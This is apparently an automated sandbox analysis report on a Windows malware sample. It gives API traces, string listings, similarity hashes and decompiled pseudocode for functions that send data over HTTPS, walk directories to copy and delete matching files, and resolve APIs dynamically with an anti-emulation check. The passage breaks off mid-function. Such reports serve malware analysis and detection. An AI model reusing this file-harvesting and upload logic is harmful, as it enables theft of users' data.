lstrcat.KERNEL32(?,?), ref: 00404EE6
lstrcat.KERNEL32(?,00418B9C), ref: 00404EF8
lstrcat.KERNEL32(?,007A7040), ref: 00404F0C
lstrcat.KERNEL32(?,?), ref: 00404F1D
lstrcat.KERNEL32(?,"), ref: 00404F2F
lstrcat.KERNEL32(?,007C6050), ref: 00404F42
lstrcat.KERNEL32(?,00418B9C), ref: 00404F54
lstrcat.KERNEL32(?,007C6140), ref: 00404F67
lstrcat.KERNEL32(?,), ref: 00404F79
lstrlen.KERNEL32(?), ref: 00404F86
lstrlen.KERNEL32(?), ref: 00404F98
GetProcessHeap.KERNEL32(00000000,?), ref: 00404FAF
RtlAllocateHeap.NTDLL(00000000), ref: 00404FB6
lstrlen.KERNEL32(?), ref: 00404FC9
memcpy.NTDLL(?,?,00000000), ref: 00404FDE
lstrlen.KERNEL32(?,?,?), ref: 00404FF3
memcpy.NTDLL(?), ref: 00405000
lstrlen.KERNEL32(?), ref: 0040500D
lstrlen.KERNEL32(?,?,00000000), ref: 00405022
memcpy.NTDLL(?), ref: 00405032
lstrlen.KERNEL32(?,?,?), ref: 00405071
HttpSendRequestA.WININET(00000000,?,00000000), ref: 00405086
HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 004050A5
StrCmpCA.SHLWAPI(?,200), ref: 004050BB
Sleep.KERNEL32(00007530), ref: 004050CC
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040511D
lstrcat.KERNEL32(?,00000000), ref: 00405159
InternetCloseHandle.WININET(?), ref: 00405168
InternetCloseHandle.WININET(?), ref: 00405175
InternetCloseHandle.WININET(00000000), ref: 00405182

Strings

", xrefs: 00404E91
@a|, xrefs: 00404F5A
P`|, xrefs: 00404F35
200, xrefs: 004050AF
@pz, xrefs: 00404EFE
https://, xrefs: 00404C94
------, xrefs: 00404CE8, 00404E32, 00404EC6
, xrefs: 00404F6D
`|, xrefs: 00404E6A
81|, xrefs: 00404D32
", xrefs: 00404F23

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: lstrcat$Internet$lstrlen$HeapHttp$CloseHandleOpenRequestmemcpy$AllocateConnectProcess$FileInfoOptionQueryReadSendSleep
String ID: $ `|$"$"$------$200$81|$@a|$@pz$P`|$https://
API String ID: 3074752877-3170677494
Opcode ID: 7e193f7b750088dcc95744bcbbb277857cdff21b1dcf883b5ec6c60b5828c7ff
Instruction ID: e23421f7279307ab3a44037bb1bbfee425b9f76c6f481fad167fe3b69a740ec5
Opcode Fuzzy Hash: 7e193f7b750088dcc95744bcbbb277857cdff21b1dcf883b5ec6c60b5828c7ff
Instruction Fuzzy Hash: BDF176B5A51218AFCB20DFA0DD48FDB7779AF48704F0085D9F209A7181CB78AA94CF59

Uniqueness

Uniqueness Score: -1.00%

Function 004087E0, Relevance: 40.6, APIs: 21, Strings: 2, Instructions: 337
fileCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E004087E0(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, signed int _a28, signed int _a32, signed int _a36) {
				char _v268;
				void* _v272;
				struct _WIN32_FIND_DATAA _v596;
				char _v860;
				char _v1124;
				char _v1388;
				void* _t121;
				signed int _t122;
				int _t124;
				int _t125;
				signed int _t126;
				intOrPtr _t129;
				intOrPtr _t132;
				intOrPtr _t134;
				void* _t146;
				intOrPtr _t200;
				void* _t272;
				void* _t273;
				void* _t274;
				void* _t276;

				_push(_a8);
				wsprintfA( &_v268, "%s\*");
				_t273 = _t272 + 0xc;
				_t121 = FindFirstFileA( &_v268,  &_v596); // executed
				_v272 = _t121;
				if(_v272 != 0xffffffff) {
					goto L2;
				} else {
					return _t121;
				}
				do {
					L2:
					_t122 =  *0x41aa4c( &(_v596.cFileName), 0x414010);
					__eflags = _t122;
					if(_t122 == 0) {
						L4:
						goto L22;
					}
					_t126 =  *0x41aa4c( &(_v596.cFileName), 0x414014);
					__eflags = _t126;
					if(_t126 != 0) {
						wsprintfA( &_v860, "%s\%s");
						_t273 = _t273 + 0x10;
						_t129 =  *0x41a534; // 0x7c78d8
						__eflags =  *0x41aa4c( &(_v596.cFileName), _t129, _a8,  &(_v596.cFileName));
						if(__eflags != 0) {
							_t200 =  *0x41a050; // 0x7c72d0
							__eflags =  *0x41aa4c( &(_v596.cFileName), _t200);
							if(__eflags != 0) {
								_t132 =  *0x41a5ac; // 0x7c77a0
								__eflags =  *0x41aa4c( &(_v596.cFileName), _t132);
								if(__eflags != 0) {
									_t134 =  *0x41a360; // 0x7c88c8
									__eflags =  *0x41aa4c( &(_v596.cFileName), _t134);
									if(__eflags != 0) {
										__eflags = _v596.dwFileAttributes & 0x00000010;
										if((_v596.dwFileAttributes & 0x00000010) != 0) {
											E004087E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28, _a32, _a36); // executed
											_t273 = _t273 + 0x24;
										}
									} else {
										GetCurrentDirectoryA(0x104,  &_v1388);
										 *0x41aa24( &_v1388, 0x414018);
										_t146 = E0040B8B0( &(_v596.cFileName), __eflags, 8);
										_t274 = _t273 + 4;
										 *0x41aa24( &_v1388, _t146);
										CopyFileA( &_v860,  &_v1388, 1); // executed
										__eflags = _a36;
										if(__eflags != 0) {
											E00408510(_a12, __eflags,  &_v1388, _a4, _a12, _a16, _a20, _a24); // executed
											_t274 = _t274 + 0x18;
										}
										__eflags = _a28;
										if(__eflags != 0) {
											E00408650(_a12, __eflags,  &_v1388, _a4, _a12, _a16, _a20, _a24); // executed
											_t274 = _t274 + 0x18;
										}
										DeleteFileA( &_v1388); // executed
										E0040B720( &_v1388, 0x104);
										E004087E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28, _a32, _a36); // executed
										_t273 = _t274 + 0x24;
									}
								} else {
									GetCurrentDirectoryA(0x104,  &_v1124);
									 *0x41aa24( &_v1124, 0x414018);
									 *0x41aa24( &_v1124, E0040B8B0( &(_v596.cFileName), __eflags, 8));
									CopyFileA( &_v860,  &_v1124, 1); // executed
									E004082E0(_a12, __eflags,  &_v1124, _a4, _a12, _a16, _a20, _a24); // executed
									_t276 = _t273 + 0x1c;
									__eflags = _a32;
									if(__eflags != 0) {
										E00408150(_a12, __eflags,  &_v1124, _a4, _a12, _a16, _a20, _a24); // executed
										_t276 = _t276 + 0x18;
									}
									DeleteFileA( &_v1124); // executed
									E0040B720( &_v1124, 0x104);
									E004087E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28, _a32, _a36); // executed
									_t273 = _t276 + 0x24;
								}
							} else {
								E00407D50(__eflags,  &_v860, _a4, _a12, _a16, _a20, _a24); // executed
								E004087E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28, _a32, _a36); // executed
								_t273 = _t273 + 0x3c;
							}
						} else {
							E00407AC0(_a12, __eflags, _a4,  &_v860, _a12, _a16, _a20); // executed
							E004087E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28, _a32, _a36); // executed
							_t273 = _t273 + 0x38;
						}
						E0040B720( &_v860, 0x104);
						goto L22;
					}
					goto L4;
					L22:
					_t124 = FindNextFileA(_v272,  &_v596); // executed
					__eflags = _t124;
				} while (_t124 != 0);
				_t125 = FindClose(_v272); // executed
				return _t125;
			}

0x004087ec
0x004087f9
0x004087ff
0x00408810
0x00408816
0x00408823
0x00000000
0x00000000
0x00000000
0x00000000
0x0040882a
0x0040882a
0x00408836
0x0040883c
0x0040883e
0x00408856
0x00000000
0x00408856
0x0040884c
0x00408852
0x00408854
0x00408872
0x00408878
0x0040887b
0x0040888e
0x00408890
0x004088e8
0x004088fc
0x004088fe
0x0040895a
0x0040896d
0x0040896f
0x00408a68
0x00408a7b
0x00408a7d
0x00408b7f
0x00408b82
0x00408bae
0x00408bb3
0x00408bb3
0x00408a83
0x00408a8f
0x00408aa1
0x00408aa9
0x00408aae
0x00408ab9
0x00408acf
0x00408ad5
0x00408ad9
0x00408af6
0x00408afb
0x00408afb
0x00408afe
0x00408b02
0x00408b1f
0x00408b24
0x00408b24
0x00408b2e
0x00408b40
0x00408b6f
0x00408b74
0x00408b74
0x00408975
0x00408981
0x00408993
0x004089ab
0x004089c1
0x004089e2
0x004089e7
0x004089ea
0x004089ee
0x00408a0b
0x00408a10
0x00408a10
0x00408a1a
0x00408a2c
0x00408a5b
0x00408a60
0x00408a60
0x00408900
0x0040891b
0x0040894d
0x00408952
0x00408952
0x00408892
0x004088a9
0x004088db
0x004088e0
0x004088e0
0x00408bc2
0x00000000
0x00408bc2
0x00000000
0x00408bc7
0x00408bd5
0x00408bdb
0x00408bdb
0x00408bea
0x00000000

APIs

wsprintfA.USER32 ref: 004087F9
FindFirstFileA.KERNEL32(?,?), ref: 00408810
StrCmpCA.SHLWAPI(?,00414010), ref: 00408836
StrCmpCA.SHLWAPI(?,00414014), ref: 0040884C
FindNextFileA.KERNELBASE(000000FF,?), ref: 00408BD5
FindClose.KERNEL32(000000FF), ref: 00408BEA

Strings

%s\%s, xrefs: 00408866
%s\*, xrefs: 004087ED

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\*
API String ID: 180737720-2848263008
Opcode ID: 864204762c03cb812e489958dcffbbc39fef40720c2155e64fcd8f4357d5c54a
Instruction ID: 0b41a1abc190fb4bcf7a86ba3d7a33f51ad09bf1deba5e068821b47be1bcc9a2
Opcode Fuzzy Hash: 864204762c03cb812e489958dcffbbc39fef40720c2155e64fcd8f4357d5c54a
Instruction Fuzzy Hash: 6FD12EB2500109ABCB14DF94DD84EEB73BDAF8C704F04869DB609A3150EA74EA95CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00405E40, Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 215
filestringCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E00405E40(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, char* _a20, int _a24, intOrPtr _a28, int _a32, intOrPtr _a36) {
				char _v5004;
				char _v5268;
				void* _v5272;
				struct _WIN32_FIND_DATAA _v5596;
				char _v5860;
				char _v6124;
				int _v6128;
				char _v6132;
				void* _t73;
				void* _t76;
				int _t77;
				int _t79;
				int _t81;
				int _t85;
				void* _t89;
				int _t91;
				int _t102;
				int _t103;
				int _t104;
				int _t106;
				void* _t157;
				void* _t158;
				void* _t159;

				E004139B0(0x17f0, __ecx);
				wsprintfA( &_v5268, "%s\*");
				_t158 = _t157 + 0xc;
				_t73 = FindFirstFileA( &_v5268,  &_v5596); // executed
				_v5272 = _t73;
				E0040B720( &_v5004, 0x1388);
				_t76 =  *0x41aa24( &_v5004, _a36, _a16);
				if(_v5272 != 0xffffffff) {
					goto L2;
				} else {
					return _t76;
				}
				do {
					L2:
					_t77 =  *0x41aa4c( &(_v5596.cFileName), 0x414010);
					__eflags = _t77;
					if(_t77 == 0) {
						L4:
						goto L25;
					}
					_t81 =  *0x41aa4c( &(_v5596.cFileName), 0x414014);
					__eflags = _t81;
					if(_t81 != 0) {
						wsprintfA( &_v6124, "%s\%s");
						_t159 = _t158 + 0x10;
						_t85 =  *0x41aa4c(_a12, 0x41401a, _a16,  &(_v5596.cFileName));
						__eflags = _t85;
						if(_t85 != 0) {
							__eflags = _a32;
							if(_a32 == 0) {
								wsprintfA( &_v5860, "%s\\%s\\%s", _a4, _a12,  &(_v5596.cFileName));
								_t158 = _t159 + 0x14;
							} else {
								_push( &(_v5596.cFileName));
								_push(_a12);
								wsprintfA( &_v5860, "%s\%s");
								_t158 = _t159 + 0x10;
							}
						} else {
							__eflags = _a32;
							if(_a32 == 0) {
								_push( &(_v5596.cFileName));
								_push(_a4);
								wsprintfA( &_v5860, "%s\%s");
								_t158 = _t159 + 0x10;
							} else {
								wsprintfA( &_v5860, 0x414024,  &(_v5596.cFileName));
								_t158 = _t159 + 0xc;
							}
						}
						_t89 =  *0x41a908( &_v5004);
						__eflags = _t89 - 3;
						if(_t89 <= 3) {
							_t91 = PathMatchSpecA( &(_v5596.cFileName), _a20);
							__eflags = _t91;
							if(_t91 != 0) {
								CopyFileA( &_v6124,  &(_v5596.cFileName), 1);
								E004137C0(_a8,  &_v5860,  &(_v5596.cFileName));
								_t158 = _t158 + 0xc;
								DeleteFileA( &(_v5596.cFileName));
							}
							L23:
							__eflags = _a24;
							if(__eflags != 0) {
								E00405E40(_a4, __eflags, _a4, _a8,  &_v5860,  &_v6124, _a20, _a24, _a28, _a32, _a36);
								_t158 = _t158 + 0x24;
							}
							goto L25;
						}
						_t102 = E0040C090( &_v5004, ",",  &_v6132);
						_t158 = _t158 + 0xc;
						_v6128 = _t102;
						while(1) {
							__eflags = _v6128;
							if(_v6128 == 0) {
								break;
							}
							_t103 =  *0x41a990( &(_v5596.cFileName), _v6128, 0);
							__eflags = _t103;
							if(_t103 == 0) {
								_t106 = PathMatchSpecA( &(_v5596.cFileName), _a20);
								__eflags = _t106;
								if(_t106 != 0) {
									CopyFileA( &_v6124,  &(_v5596.cFileName), 1);
									E004137C0(_a8,  &_v5860,  &(_v5596.cFileName));
									_t158 = _t158 + 0xc;
									DeleteFileA( &(_v5596.cFileName));
								}
							}
							_t104 = E0040C090(0, ",",  &_v6132);
							_t158 = _t158 + 0xc;
							_v6128 = _t104;
						}
						goto L23;
					}
					goto L4;
					L25:
					_t79 = FindNextFileA(_v5272,  &_v5596);
					__eflags = _t79;
				} while (_t79 != 0);
				return FindClose(_v5272);
			}

0x00405e48
0x00405e5d
0x00405e63
0x00405e74
0x00405e7a
0x00405e8c
0x00405e9c
0x00405ea9
0x00000000
0x00000000
0x00000000
0x00000000
0x00405eb0
0x00405eb0
0x00405ebc
0x00405ec2
0x00405ec4
0x00405edc
0x00000000
0x00405edc
0x00405ed2
0x00405ed8
0x00405eda
0x00405ef8
0x00405efe
0x00405f0a
0x00405f10
0x00405f12
0x00405f5a
0x00405f5e
0x00405f9d
0x00405fa3
0x00405f60
0x00405f66
0x00405f6a
0x00405f77
0x00405f7d
0x00405f7d
0x00405f14
0x00405f14
0x00405f18
0x00405f3e
0x00405f42
0x00405f4f
0x00405f55
0x00405f1a
0x00405f2d
0x00405f33
0x00405f33
0x00405f58
0x00405fad
0x00405fb3
0x00405fb6
0x00406084
0x0040608a
0x0040608c
0x0040609e
0x004060b6
0x004060bb
0x004060c5
0x004060c5
0x004060cb
0x004060cb
0x004060cf
0x004060fb
0x00406100
0x00406100
0x00000000
0x004060cf
0x00405fcf
0x00405fd4
0x00405fd7
0x00405fdd
0x00405fdd
0x00405fe4
0x00000000
0x00000000
0x00405ffa
0x00406000
0x00406002
0x0040600f
0x00406015
0x00406017
0x00406029
0x00406041
0x00406046
0x00406050
0x00406050
0x00406017
0x00406064
0x00406069
0x0040606c
0x0040606c
0x00000000
0x00406077
0x00000000
0x00406103
0x00406111
0x00406117
0x00406117
0x00000000

APIs

wsprintfA.USER32 ref: 00405E5D
FindFirstFileA.KERNEL32(?,?,?,00000000,?), ref: 00405E74
lstrcat.KERNEL32(?,?), ref: 00405E9C
StrCmpCA.SHLWAPI(?,00414010), ref: 00405EBC
StrCmpCA.SHLWAPI(?,00414014), ref: 00405ED2
FindNextFileA.KERNEL32(000000FF,?), ref: 00406111
FindClose.KERNEL32(000000FF), ref: 00406126

Strings

%s\%s\%s, xrefs: 00405F91
%s\%s, xrefs: 00405EEC, 00405F43, 00405F6B
%s\*, xrefs: 00405E51

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-1426491737
Opcode ID: da2c885b9076c81ca24cc3c87d12da24a82ebc38fc329cbfdd7a2e0dbf039061
Instruction ID: 0bc9b02d7ab3545e21e8315ee4c466327c2adae897de70d70c4ab632552244ce
Opcode Fuzzy Hash: da2c885b9076c81ca24cc3c87d12da24a82ebc38fc329cbfdd7a2e0dbf039061
Instruction Fuzzy Hash: A88174B5900208EFCB14DFA4DC44DEB73B8EF48745F4486A9F60A96180D7789B94CF56

Uniqueness

Uniqueness Score: -1.00%

Function 00401280, Relevance: 33.4, APIs: 16, Strings: 3, Instructions: 134
fileCOMMON

Download Yara Rule

C-Code - Quality: 20%

			E00401280(intOrPtr _a4, intOrPtr _a8, char* _a12, intOrPtr _a16) {
				char _v268;
				void* _v272;
				struct _WIN32_FIND_DATAA _v596;
				char _v860;
				char _v1124;
				char _v1388;
				char _v1652;
				void* _t43;
				int _t46;
				intOrPtr _t66;
				void* _t98;
				void* _t99;
				void* _t100;
				void* _t101;

				_push(_a8);
				wsprintfA( &_v268, "%s\*");
				_t99 = _t98 + 0xc;
				_t43 = FindFirstFileA( &_v268,  &_v596); // executed
				_v272 = _t43;
				if(_v272 != 0xffffffff) {
					do {
						_push(0x414010);
						_push( &(_v596.cFileName));
						if( *0x41aa4c() == 0) {
							L4:
							goto L11;
						}
						_push(0x414014);
						_push( &(_v596.cFileName));
						if( *0x41aa4c() != 0) {
							_push( &(_v596.cFileName));
							_push(_a8);
							wsprintfA( &_v1124, "%s\%s");
							_t100 = _t99 + 0x10;
							_push(0x41401a);
							_push(_a4);
							if( *0x41aa4c() != 0) {
								_push( &(_v596.cFileName));
								_push(_a4);
								wsprintfA( &_v860, "%s\%s");
								_t101 = _t100 + 0x10;
							} else {
								wsprintfA( &_v860, 0x414024,  &(_v596.cFileName));
								_t101 = _t100 + 0xc;
							}
							if(PathMatchSpecA( &(_v596.cFileName), _a12) != 0) {
								E0040B720( &_v1652, 0x104);
								E0040B720( &_v1388, 0x104);
								 *0x41aa24( &_v1652, _a8);
								 *0x41aa24( &_v1652, 0x414018);
								 *0x41aa24( &_v1652,  &(_v596.cFileName));
								_t66 =  *0x41a5a4; // 0x7c6f68
								 *0x41aa24( &_v1388, _t66);
								 *0x41aa24( &_v1388,  &_v860);
								E004137C0(_a16,  &_v1388,  &_v1652);
								_t101 = _t101 + 0xc;
							}
							E00401280( &_v860,  &_v1124, _a12, _a16); // executed
							_t99 = _t101 + 0x10;
							goto L11;
						}
						goto L4;
						L11:
						_t46 = FindNextFileA(_v272,  &_v596); // executed
					} while (_t46 != 0);
					return FindClose(_v272);
				}
				return _t43;
			}

0x0040128c
0x00401299
0x0040129f
0x004012b0
0x004012b6
0x004012c3
0x004012ca
0x004012ca
0x004012d5
0x004012de
0x004012f6
0x00000000
0x004012f6
0x004012e0
0x004012eb
0x004012f4
0x00401301
0x00401305
0x00401312
0x00401318
0x0040131b
0x00401323
0x0040132c
0x00401352
0x00401356
0x00401363
0x00401369
0x0040132e
0x00401341
0x00401347
0x00401347
0x0040137f
0x00401391
0x004013a2
0x004013b2
0x004013c4
0x004013d8
0x004013de
0x004013eb
0x004013ff
0x00401417
0x0040141c
0x0040141c
0x00401435
0x0040143a
0x00000000
0x0040143a
0x00000000
0x0040143d
0x0040144b
0x00401451
0x00000000
0x00401460
0x00000000

APIs

wsprintfA.USER32 ref: 00401299
FindFirstFileA.KERNELBASE(?,?), ref: 004012B0
StrCmpCA.SHLWAPI(?,00414010), ref: 004012D6
StrCmpCA.SHLWAPI(?,00414014), ref: 004012EC
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040144B
FindClose.KERNEL32(000000FF), ref: 00401460

Strings

%s\%s, xrefs: 00401306, 00401357
%s\*, xrefs: 0040128D
ho|, xrefs: 004013DE

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\*$ho|
API String ID: 180737720-3723630391
Opcode ID: ea03afd42e154e9ef041865c6e00ce4689c65ee657b53df87b15a56bb790f481
Instruction ID: 4cd9f1fc2f596726c4666f8bf9c741da0555b1e74a9e6087d7d803036aaf4599
Opcode Fuzzy Hash: ea03afd42e154e9ef041865c6e00ce4689c65ee657b53df87b15a56bb790f481
Instruction Fuzzy Hash: 56518672500218ABCB10DFA0DD48EEA73B8BF4C705F0485A9B609A3150E779EB94CF69

Uniqueness

Uniqueness Score: -1.00%

Function 0040C2E0, Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 109
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040C2E0() {
				struct HINSTANCE__* _t1;
				_Unknown_base(*)()* _t2;
				struct HINSTANCE__* _t3;
				_Unknown_base(*)()* _t4;
				CHAR* _t5;
				intOrPtr _t6;
				struct HINSTANCE__* _t8;
				CHAR* _t11;
				struct HINSTANCE__* _t13;
				CHAR* _t16;
				struct HINSTANCE__* _t18;
				CHAR* _t21;
				struct HINSTANCE__* _t23;
				struct HINSTANCE__* _t26;
				CHAR* _t28;
				struct HINSTANCE__* _t29;
				struct HINSTANCE__* _t30;
				CHAR* _t31;
				struct HINSTANCE__* _t32;
				CHAR* _t33;
				struct HINSTANCE__* _t34;
				CHAR* _t35;
				struct HINSTANCE__* _t36;
				CHAR* _t37;
				CHAR* _t38;
				CHAR* _t39;
				intOrPtr _t40;
				struct HINSTANCE__* _t41;
				CHAR* _t42;
				struct HINSTANCE__* _t43;
				CHAR* _t44;
				struct HINSTANCE__* _t45;
				CHAR* _t46;
				struct HINSTANCE__* _t47;

				if( *0x41aa64 != 0) {
					_t6 =  *0x41a1f0; // 0x7b0b60
					_t30 =  *0x41aa64; // 0x74df0000
					 *0x41aa14 = E0040C1B0(_t30, _t6);
					_t40 =  *0x41a474; // 0x7b0b78
					_t8 =  *0x41aa64; // 0x74df0000
					 *0x41a970 = E0040C1B0(_t8, _t40);
					_t31 =  *0x41a718; // 0x7b0ce0
					_t41 =  *0x41aa64; // 0x74df0000
					 *0x41aa8c = GetProcAddress(_t41, _t31);
					_t11 =  *0x41a33c; // 0x7aec90
					_t32 =  *0x41aa64; // 0x74df0000
					 *0x41a88c = GetProcAddress(_t32, _t11);
					_t42 =  *0x41a5bc; // 0x7aa808
					_t13 =  *0x41aa64; // 0x74df0000
					 *0x41aa68 = GetProcAddress(_t13, _t42);
					_t33 =  *0x41a4b0; // 0x7b0c20
					_t43 =  *0x41aa64; // 0x74df0000
					 *0x41a9cc = GetProcAddress(_t43, _t33);
					_t16 =  *0x41a4c8; // 0x7b0d10
					_t34 =  *0x41aa64; // 0x74df0000
					 *0x41a9e4 = GetProcAddress(_t34, _t16);
					_t44 =  *0x41a7d4; // 0x7b0ba8
					_t18 =  *0x41aa64; // 0x74df0000
					 *0x41a984 = GetProcAddress(_t18, _t44);
					_t35 =  *0x41a324; // 0x7b0c98
					_t45 =  *0x41aa64; // 0x74df0000
					 *0x41aa04 = GetProcAddress(_t45, _t35);
					_t21 =  *0x41a6f0; // 0x7b0c38
					_t36 =  *0x41aa64; // 0x74df0000
					 *0x41aa78 = GetProcAddress(_t36, _t21);
					_t46 =  *0x41a7b0; // 0x7aa868
					_t23 =  *0x41aa64; // 0x74df0000
					 *0x41a9f4 = GetProcAddress(_t23, _t46);
					_t37 =  *0x41a218; // 0x7aa728
					_t47 =  *0x41aa64; // 0x74df0000
					 *0x41aaa0 = GetProcAddress(_t47, _t37);
					_t26 =  *0x41aa64; // 0x74df0000
					 *0x41aa50 = GetProcAddress(_t26, "VirtualAllocExNuma");
				}
				_t28 =  *0x41a0f8; // 0x7b0bf0
				_t1 = LoadLibraryA(_t28); // executed
				 *0x41a854 = _t1;
				_t38 =  *0x41a658; // 0x7b0c08
				_t2 = LoadLibraryA(_t38); // executed
				 *0x41a934 = _t2;
				if( *0x41a854 != 0) {
					_t5 =  *0x41a594; // 0x7b0c68
					_t29 =  *0x41a854; // 0x74b40000
					_t2 = GetProcAddress(_t29, _t5);
					 *0x41a944 = _t2;
				}
				if( *0x41a934 != 0) {
					_t39 =  *0x41a0b8; // 0x7aa768
					_t3 =  *0x41a934; // 0x749a0000
					_t4 = GetProcAddress(_t3, _t39);
					 *0x41a9e0 = _t4;
					return _t4;
				}
				return _t2;
			}

0x0040c2ea
0x0040c2f0
0x0040c2f6
0x0040c305
0x0040c30a
0x0040c311
0x0040c31f
0x0040c324
0x0040c32b
0x0040c338
0x0040c33d
0x0040c343
0x0040c350
0x0040c355
0x0040c35c
0x0040c368
0x0040c36d
0x0040c374
0x0040c381
0x0040c386
0x0040c38c
0x0040c399
0x0040c39e
0x0040c3a5
0x0040c3b1
0x0040c3b6
0x0040c3bd
0x0040c3ca
0x0040c3cf
0x0040c3d5
0x0040c3e2
0x0040c3e7
0x0040c3ee
0x0040c3fa
0x0040c3ff
0x0040c406
0x0040c413
0x0040c41d
0x0040c429
0x0040c429
0x0040c42e
0x0040c435
0x0040c43b
0x0040c440
0x0040c447
0x0040c44d
0x0040c459
0x0040c45b
0x0040c461
0x0040c468
0x0040c46e
0x0040c46e
0x0040c47a
0x0040c47c
0x0040c483
0x0040c489
0x0040c48f
0x00000000
0x0040c48f
0x0040c495

APIs

GetProcAddress.KERNEL32(74DF0000,007B0CE0), ref: 0040C332
GetProcAddress.KERNEL32(74DF0000,007AEC90), ref: 0040C34A
GetProcAddress.KERNEL32(74DF0000,007AA808), ref: 0040C362
GetProcAddress.KERNEL32(74DF0000,007B0C20), ref: 0040C37B
GetProcAddress.KERNEL32(74DF0000,007B0D10), ref: 0040C393
GetProcAddress.KERNEL32(74DF0000,007B0BA8), ref: 0040C3AB
GetProcAddress.KERNEL32(74DF0000,007B0C98), ref: 0040C3C4
GetProcAddress.KERNEL32(74DF0000,007B0C38), ref: 0040C3DC
GetProcAddress.KERNEL32(74DF0000,007AA868), ref: 0040C3F4
GetProcAddress.KERNEL32(74DF0000,007AA728), ref: 0040C40D
GetProcAddress.KERNEL32(74DF0000,VirtualAllocExNuma), ref: 0040C423
LoadLibraryA.KERNEL32(007B0BF0,?,00406B72), ref: 0040C435
LoadLibraryA.KERNEL32(007B0C08,?,00406B72), ref: 0040C447
GetProcAddress.KERNEL32(74B40000,007B0C68), ref: 0040C468
GetProcAddress.KERNEL32(749A0000,007AA768), ref: 0040C489

Strings

VirtualAllocExNuma, xrefs: 0040C418

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: AddressProc$LibraryLoad
String ID: VirtualAllocExNuma
API String ID: 2238633743-737288162
Opcode ID: 2656e5721d2e72d8ddd254abdf4fc75b759c6e6593f162f059aa174bfdec3ac2
Instruction ID: a0d7b009b4cf0954f7e46bb6ba0f8cea1e563656be094aab1f3a6ea2fda818d0
Opcode Fuzzy Hash: 2656e5721d2e72d8ddd254abdf4fc75b759c6e6593f162f059aa174bfdec3ac2
Instruction Fuzzy Hash: A44165F5523200DFC344DFA8EE8899637B9BB8C251705CA39E50983672D7389561CF6E

Uniqueness

Uniqueness Score: -1.00%

Function 00401090, Relevance: 26.3, APIs: 13, Strings: 2, Instructions: 95fileCOMMON

Download Yara Rule

APIs

SetCurrentDirectoryA.KERNEL32(?), ref: 0040109D
wsprintfA.USER32 ref: 004010B7
FindFirstFileA.KERNELBASE(?,?), ref: 004010CE
StrCmpCA.SHLWAPI(?,00414010), ref: 004010F4
StrCmpCA.SHLWAPI(?,00414014), ref: 0040110A
FindNextFileA.KERNEL32(000000FF,?), ref: 004011D3
FindClose.KERNEL32(000000FF), ref: 004011E8

Strings

%s\%s, xrefs: 004010AB
ho|, xrefs: 00401160

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: Find$File$CloseCurrentDirectoryFirstNextwsprintf
String ID: %s\%s$ho|
API String ID: 2809309208-3549700326
Opcode ID: f0159c76561ba8365bb9aa6ad5d25ded7c9edc9d81d80b2b2d7af7a0a2787976
Instruction ID: 7ffd25992613dc01ae9c6896dea76ef306beac36bf0277a1da173af701ae58c0
Opcode Fuzzy Hash: f0159c76561ba8365bb9aa6ad5d25ded7c9edc9d81d80b2b2d7af7a0a2787976
Instruction Fuzzy Hash: C63177B6500218ABCB14DFE0DD88EEA77BCAF4C705F0085AAB609A2150DB78D794CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00409B40, Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 183
fileCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E00409B40(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				char _v268;
				void* _v272;
				struct _WIN32_FIND_DATAA _v596;
				char _v860;
				char _v1124;
				char _v1388;
				char _v1652;
				char _v1916;
				char _v2180;
				void* _t57;
				int _t60;
				CHAR* _t64;
				CHAR* _t66;
				void* _t78;
				void* _t80;
				void* _t82;
				CHAR* _t106;
				CHAR* _t107;
				CHAR* _t121;
				CHAR* _t122;
				void* _t135;
				void* _t136;
				void* _t143;
				void* _t144;

				wsprintfA( &_v268, "%s\\*.*", _a12);
				_t136 = _t135 + 0xc;
				_t57 = FindFirstFileA( &_v268,  &_v596); // executed
